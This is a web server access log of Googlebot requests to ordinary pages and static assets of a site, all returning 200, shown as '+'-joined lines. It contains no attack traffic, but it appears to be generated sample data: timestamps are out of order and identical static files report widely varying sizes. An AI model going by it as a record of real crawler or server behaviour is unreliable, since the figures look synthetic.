15 14:04:31 web-app[3499]: 66.249.79.10 - - [15/Jul/2025:14:04:31 ] "GET /about-us HTTP/1.1" 200 13466 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:30 web-app[3001]: 66.249.79.159 - - [15/Jul/2025:14:04:30 ] "GET /help/faq HTTP/1.1" 200 7720 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:34 web-app[3087]: 66.249.79.36 - - [15/Jul/2025:14:04:34 ] "GET /about-us HTTP/1.1" 200 8584 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:30 web-app[3137]: 66.249.79.168 - - [15/Jul/2025:14:04:30 ] "GET /contact HTTP/1.1" 200 9295 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:34 web-app[3273]: 66.249.79.24 - - [15/Jul/2025:14:04:34 ] "GET /static/style.css HTTP/1.1" 200 14656 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:31 web-app[3131]: 66.249.79.92 - - [15/Jul/2025:14:04:31 ] "GET /products/all HTTP/1.1" 200 8090 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:31 web-app[3630]: 66.249.79.55 - - [15/Jul/2025:14:04:31 ] "GET /user/profile/99 HTTP/1.1" 200 5142 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:31 web-app[3930]: 66.249.79.167 - - [15/Jul/2025:14:04:31 ] "GET /user/profile/99 HTTP/1.1" 200 14608 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:30 web-app[3385]: 66.249.79.68 - - [15/Jul/2025:14:04:30 ] "GET /about-us HTTP/1.1" 200 5368 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:33 web-app[3943]: 66.249.79.24 - - [15/Jul/2025:14:04:33 ] "GET /blog/post-101 HTTP/1.1" 200 7222 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:32 web-app[3196]: 66.249.79.205 - - [15/Jul/2025:14:04:32 ] "GET /user/profile/99 HTTP/1.1" 200 7872 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:31 web-app[3900]: 66.249.79.47 - - [15/Jul/2025:14:04:31 ] "GET /help/faq HTTP/1.1" 200 12225 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:32 web-app[3004]: 66.249.79.189 - - [15/Jul/2025:14:04:32 ] "GET / HTTP/1.1" 200 13166 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:32 web-app[3040]: 66.249.79.54 - - [15/Jul/2025:14:04:32 ] "GET /help/faq HTTP/1.1" 200 5000 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:32 web-app[3083]: 66.249.79.99 - - [15/Jul/2025:14:04:32 ] "GET /contact HTTP/1.1" 200 9877 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:31 web-app[3754]: 66.249.79.199 - - [15/Jul/2025:14:04:31 ] "GET /help/faq HTTP/1.1" 200 11849 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:32 web-app[3028]: 66.249.79.29 - - [15/Jul/2025:14:04:32 ] "GET /about-us HTTP/1.1" 200 9061 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:30 web-app[3037]: 66.249.79.186 - - [15/Jul/2025:14:04:30 ] "GET /images/logo.png HTTP/1.1" 200 7539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:34 web-app[3009]: 66.249.79.167 - - [15/Jul/2025:14:04:34 ] "GET /images/logo.png HTTP/1.1" 200 9975 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:35 web-app[3557]: 66.249.79.131 - - [15/Jul/2025:14:04:35 ] "GET /blog/post-102 HTTP/1.1" 200 7238 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3440]: 66.249.79.15 - - [15/Jul/2025:14:04:38 ] "GET /about-us HTTP/1.1" 200 13935 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3739]: 66.249.79.157 - - [15/Jul/2025:14:04:38 ] "GET /help/faq HTTP/1.1" 200 10915 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3627]: 66.249.79.110 - - [15/Jul/2025:14:04:39 ] "GET /static/style.css HTTP/1.1" 200 12851 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3295]: 66.249.79.237 - - [15/Jul/2025:14:04:37 ] "GET /blog/post-102 HTTP/1.1" 200 7455 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3479]: 66.249.79.73 - - [15/Jul/2025:14:04:36 ] "GET /about-us HTTP/1.1" 200 5540 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3306]: 66.249.79.54 - - [15/Jul/2025:14:04:39 ] "GET /about-us HTTP/1.1" 200 12122 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3016]: 66.249.79.38 - - [15/Jul/2025:14:04:37 ] "GET /contact HTTP/1.1" 200 6904 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3954]: 66.249.79.250 - - [15/Jul/2025:14:04:36 ] "GET /blog/post-102 HTTP/1.1" 200 11044 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3665]: 66.249.79.161 - - [15/Jul/2025:14:04:38 ] "GET /about-us HTTP/1.1" 200 5249 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3783]: 66.249.79.23 - - [15/Jul/2025:14:04:37 ] "GET / HTTP/1.1" 200 14274 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3038]: 66.249.79.59 - - [15/Jul/2025:14:04:37 ] "GET /static/style.css HTTP/1.1" 200 9804 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3596]: 66.249.79.15 - - [15/Jul/2025:14:04:36 ] "GET /blog/post-102 HTTP/1.1" 200 14448 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3504]: 66.249.79.206 - - [15/Jul/2025:14:04:39 ] "GET /blog/post-101 HTTP/1.1" 200 11072 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:35 web-app[3720]: 66.249.79.58 - - [15/Jul/2025:14:04:35 ] "GET /images/logo.png HTTP/1.1" 200 12444 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3899]: 66.249.79.147 - - [15/Jul/2025:14:04:39 ] "GET /products/all HTTP/1.1" 200 5188 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:35 web-app[3134]: 66.249.79.80 - - [15/Jul/2025:14:04:35 ] "GET / HTTP/1.1" 200 12710 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3066]: 66.249.79.246 - - [15/Jul/2025:14:04:36 ] "GET /images/logo.png HTTP/1.1" 200 6762 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:35 web-app[3049]: 66.249.79.199 - - [15/Jul/2025:14:04:35 ] "GET / HTTP/1.1" 200 11588 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3564]: 66.249.79.18 - - [15/Jul/2025:14:04:38 ] "GET /user/profile/99 HTTP/1.1" 200 12960 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:35 web-app[3963]: 66.249.79.245 - - [15/Jul/2025:14:04:35 ] "GET /static/style.css HTTP/1.1" 200 7040 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3228]: 66.249.79.26 - - [15/Jul/2025:14:04:39 ] "GET /help/faq HTTP/1.1" 200 5909 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3674]: 66.249.79.104 - - [15/Jul/2025:14:04:36 ] "GET /images/logo.png HTTP/1.1" 200 6597 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3564]: 66.249.79.62 - - [15/Jul/2025:14:04:39 ] "GET / HTTP/1.1" 200 12162 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3776]: 66.249.79.100 - - [15/Jul/2025:14:04:37 ] "GET / HTTP/1.1" 200 6190 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:35 web-app[3648]: 66.249.79.219 - - [15/Jul/2025:14:04:35 ] "GET /help/faq HTTP/1.1" 200 14221 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3068]: 66.249.79.165 - - [15/Jul/2025:14:04:38 ] "GET /about-us HTTP/1.1" 200 5590 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3339]: 66.249.79.191 - - [15/Jul/2025:14:04:39 ] "GET /user/profile/99 HTTP/1.1" 200 5298 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3052]: 66.249.79.52 - - [15/Jul/2025:14:04:38 ] "GET /user/profile/99 HTTP/1.1" 200 5093 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3046]: 66.249.79.238 - - [15/Jul/2025:14:04:36 ] "GET /help/faq HTTP/1.1" 200 13300 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3062]: 66.249.79.137 - - [15/Jul/2025:14:04:38 ] "GET /help/faq HTTP/1.1" 200 13859 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3570]: 66.249.79.167 - - [15/Jul/2025:14:04:37 ] "GET /images/logo.png HTTP/1.1" 200 10326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3994]: 66.249.79.94 - - [15/Jul/2025:14:04:38 ] "GET /contact HTTP/1.1" 200 14836 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3923]: 66.249.79.38 - - [15/Jul/2025:14:04:39 ] "GET /images/logo.png HTTP/1.1" 200 5702 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3434]: 66.249.79.163 - - [15/Jul/2025:14:04:38 ] "GET /about-us HTTP/1.1" 200 14817 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3510]: 66.249.79.154 - - [15/Jul/2025:14:04:39 ] "GET /products/all HTTP/1.1" 200 7363 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3771]: 66.249.79.64 - - [15/Jul/2025:14:04:36 ] "GET /contact HTTP/1.1" 200 14104 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3945]: 66.249.79.141 - - [15/Jul/2025:14:04:39 ] "GET /help/faq HTTP/1.1" 200 5640 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3545]: 66.249.79.37 - - [15/Jul/2025:14:04:36 ] "GET /user/profile/99 HTTP/1.1" 200 10474 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3974]: 66.249.79.232 - - [15/Jul/2025:14:04:39 ] "GET /static/style.css HTTP/1.1" 200 9171 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3916]: 66.249.79.74 - - [15/Jul/2025:14:04:37 ] "GET /images/logo.png HTTP/1.1" 200 12039 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3243]: 66.249.79.121 - - [15/Jul/2025:14:04:37 ] "GET / HTTP/1.1" 200 13195 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:36 web-app[3296]: 66.249.79.217 - - [15/Jul/2025:14:04:36 ] "GET /user/profile/99 HTTP/1.1" 200 8820 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:37 web-app[3706]: 66.249.79.15 - - [15/Jul/2025:14:04:37 ] "GET / HTTP/1.1" 200 14978 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:39 web-app[3951]: 66.249.79.182 - - [15/Jul/2025:14:04:39 ] "GET / HTTP/1.1" 200 12563 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:38 web-app[3618]: 66.249.79.75 - - [15/Jul/2025:14:04:38 ] "GET /static/style.css HTTP/1.1" 200 13536 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3815]: 66.249.79.130 - - [15/Jul/2025:14:04:43 ] "GET /contact HTTP/1.1" 200 11027 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:41 web-app[3877]: 66.249.79.14 - - [15/Jul/2025:14:04:41 ] "GET /help/faq HTTP/1.1" 200 14319 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:40 web-app[3963]: 66.249.79.102 - - [15/Jul/2025:14:04:40 ] "GET /products/all HTTP/1.1" 200 8264 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3775]: 66.249.79.52 - - [15/Jul/2025:14:04:43 ] "GET /products/all HTTP/1.1" 200 7119 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3446]: 66.249.79.7 - - [15/Jul/2025:14:04:43 ] "GET /blog/post-101 HTTP/1.1" 200 11505 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3928]: 66.249.79.122 - - [15/Jul/2025:14:04:43 ] "GET /user/profile/99 HTTP/1.1" 200 9337 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:40 web-app[3177]: 66.249.79.3 - - [15/Jul/2025:14:04:40 ] "GET /help/faq HTTP/1.1" 200 9040 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:40 web-app[3160]: 66.249.79.68 - - [15/Jul/2025:14:04:40 ] "GET /about-us HTTP/1.1" 200 13244 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:42 web-app[3510]: 66.249.79.78 - - [15/Jul/2025:14:04:42 ] "GET /blog/post-102 HTTP/1.1" 200 8561 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:44 web-app[3000]: 66.249.79.206 - - [15/Jul/2025:14:04:44 ] "GET /user/profile/99 HTTP/1.1" 200 14397 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:41 web-app[3361]: 66.249.79.94 - - [15/Jul/2025:14:04:41 ] "GET /blog/post-101 HTTP/1.1" 200 6523 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:44 web-app[3811]: 66.249.79.48 - - [15/Jul/2025:14:04:44 ] "GET /images/logo.png HTTP/1.1" 200 6528 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3587]: 66.249.79.79 - - [15/Jul/2025:14:04:43 ] "GET / HTTP/1.1" 200 6846 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:42 web-app[3977]: 66.249.79.220 - - [15/Jul/2025:14:04:42 ] "GET /products/all HTTP/1.1" 200 9788 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:41 web-app[3040]: 66.249.79.42 - - [15/Jul/2025:14:04:41 ] "GET /blog/post-102 HTTP/1.1" 200 5409 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:44 web-app[3724]: 66.249.79.230 - - [15/Jul/2025:14:04:44 ] "GET /help/faq HTTP/1.1" 200 6243 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:40 web-app[3506]: 66.249.79.246 - - [15/Jul/2025:14:04:40 ] "GET /contact HTTP/1.1" 200 11949 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3219]: 66.249.79.122 - - [15/Jul/2025:14:04:43 ] "GET /about-us HTTP/1.1" 200 13403 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:44 web-app[3076]: 66.249.79.172 - - [15/Jul/2025:14:04:44 ] "GET /products/all HTTP/1.1" 200 14758 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3394]: 66.249.79.245 - - [15/Jul/2025:14:04:43 ] "GET /user/profile/99 HTTP/1.1" 200 5414 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:41 web-app[3820]: 66.249.79.76 - - [15/Jul/2025:14:04:41 ] "GET /blog/post-101 HTTP/1.1" 200 14280 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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web-app[3464]: 66.249.79.205 - - [15/Jul/2025:14:04:44 ] "GET /about-us HTTP/1.1" 200 5633 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:44 web-app[3599]: 66.249.79.102 - - [15/Jul/2025:14:04:44 ] "GET /images/logo.png HTTP/1.1" 200 7980 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3046]: 66.249.79.207 - - [15/Jul/2025:14:04:43 ] "GET /blog/post-101 HTTP/1.1" 200 13326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:44 web-app[3194]: 66.249.79.154 - - [15/Jul/2025:14:04:44 ] "GET /images/logo.png HTTP/1.1" 200 9310 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3900]: 66.249.79.233 - - [15/Jul/2025:14:04:43 ] "GET /images/logo.png HTTP/1.1" 200 8025 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:40 web-app[3497]: 66.249.79.91 - - [15/Jul/2025:14:04:40 ] "GET /user/profile/99 HTTP/1.1" 200 12695 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:42 web-app[3303]: 66.249.79.169 - - [15/Jul/2025:14:04:42 ] "GET /user/profile/99 HTTP/1.1" 200 9042 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:42 web-app[3575]: 66.249.79.34 - - [15/Jul/2025:14:04:42 ] "GET /images/logo.png HTTP/1.1" 200 13966 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:41 web-app[3695]: 66.249.79.199 - - [15/Jul/2025:14:04:41 ] "GET /images/logo.png HTTP/1.1" 200 5124 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:42 web-app[3083]: 66.249.79.160 - - [15/Jul/2025:14:04:42 ] "GET /products/all HTTP/1.1" 200 13182 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:40 web-app[3715]: 66.249.79.101 - - [15/Jul/2025:14:04:40 ] "GET /static/style.css HTTP/1.1" 200 8213 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:43 web-app[3762]: 66.249.79.89 - - [15/Jul/2025:14:04:43 ] "GET /user/profile/99 HTTP/1.1" 200 7486 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:42 web-app[3999]: 66.249.79.215 - - [15/Jul/2025:14:04:42 ] "GET /contact HTTP/1.1" 200 7031 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:42 web-app[3411]: 66.249.79.38 - - [15/Jul/2025:14:04:42 ] "GET /about-us HTTP/1.1" 200 8398 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:40 web-app[3795]: 66.249.79.40 - - [15/Jul/2025:14:04:40 ] "GET /static/style.css HTTP/1.1" 200 7862 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:44 web-app[3645]: 66.249.79.244 - - [15/Jul/2025:14:04:44 ] "GET /user/profile/99 HTTP/1.1" 200 7523 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:41 web-app[3953]: 66.249.79.116 - - [15/Jul/2025:14:04:41 ] "GET /static/style.css HTTP/1.1" 200 6462 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:48 web-app[3593]: 66.249.79.207 - - [15/Jul/2025:14:04:48 ] "GET /images/logo.png HTTP/1.1" 200 7112 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:49 web-app[3523]: 66.249.79.131 - - [15/Jul/2025:14:04:49 ] "GET /blog/post-101 HTTP/1.1" 200 9147 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:47 web-app[3363]: 66.249.79.248 - - [15/Jul/2025:14:04:47 ] "GET /user/profile/99 HTTP/1.1" 200 11852 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:47 web-app[3838]: 66.249.79.140 - - [15/Jul/2025:14:04:47 ] "GET /blog/post-101 HTTP/1.1" 200 7059 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:49 web-app[3576]: 66.249.79.194 - - [15/Jul/2025:14:04:49 ] "GET /products/all HTTP/1.1" 200 10368 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:49 web-app[3527]: 66.249.79.168 - - [15/Jul/2025:14:04:49 ] "GET /blog/post-101 HTTP/1.1" 200 7294 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:49 web-app[3194]: 66.249.79.16 - - [15/Jul/2025:14:04:49 ] "GET / HTTP/1.1" 200 5540 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:47 web-app[3073]: 66.249.79.111 - - [15/Jul/2025:14:04:47 ] "GET /images/logo.png HTTP/1.1" 200 11580 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:48 web-app[3157]: 66.249.79.154 - - [15/Jul/2025:14:04:48 ] "GET / HTTP/1.1" 200 14177 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:46 web-app[3553]: 66.249.79.86 - - [15/Jul/2025:14:04:46 ] "GET /blog/post-102 HTTP/1.1" 200 6176 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:46 web-app[3990]: 66.249.79.252 - - [15/Jul/2025:14:04:46 ] "GET /blog/post-101 HTTP/1.1" 200 9743 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:49 web-app[3660]: 66.249.79.207 - - [15/Jul/2025:14:04:49 ] "GET /products/all HTTP/1.1" 200 12422 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:47 web-app[3834]: 66.249.79.136 - - [15/Jul/2025:14:04:47 ] "GET /about-us HTTP/1.1" 200 7580 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:45 web-app[3936]: 66.249.79.245 - - [15/Jul/2025:14:04:45 ] "GET /blog/post-102 HTTP/1.1" 200 6011 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:46 web-app[3192]: 66.249.79.88 - - [15/Jul/2025:14:04:46 ] "GET /static/style.css HTTP/1.1" 200 13784 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:48 web-app[3382]: 66.249.79.217 - - [15/Jul/2025:14:04:48 ] "GET /user/profile/99 HTTP/1.1" 200 11790 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:47 web-app[3189]: 66.249.79.148 - - [15/Jul/2025:14:04:47 ] "GET / HTTP/1.1" 200 12986 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:45 web-app[3958]: 66.249.79.79 - - [15/Jul/2025:14:04:45 ] "GET /blog/post-102 HTTP/1.1" 200 6969 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:49 web-app[3048]: 66.249.79.72 - - [15/Jul/2025:14:04:49 ] "GET /static/style.css HTTP/1.1" 200 12138 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:45 web-app[3531]: 66.249.79.91 - - [15/Jul/2025:14:04:45 ] "GET /contact HTTP/1.1" 200 8971 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:49 web-app[3697]: 66.249.79.225 - - [15/Jul/2025:14:04:49 ] "GET /static/style.css HTTP/1.1" 200 13568 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:48 web-app[3270]: 66.249.79.86 - - [15/Jul/2025:14:04:48 ] "GET / HTTP/1.1" 200 12257 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:45 web-app[3921]: 66.249.79.128 - - [15/Jul/2025:14:04:45 ] "GET /blog/post-101 HTTP/1.1" 200 6304 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:48 web-app[3391]: 66.249.79.112 - - [15/Jul/2025:14:04:48 ] "GET /blog/post-102 HTTP/1.1" 200 9816 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:48 web-app[3972]: 66.249.79.216 - - [15/Jul/2025:14:04:48 ] "GET /user/profile/99 HTTP/1.1" 200 12258 "-" "Mozilla/5.0 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66.249.79.49 - - 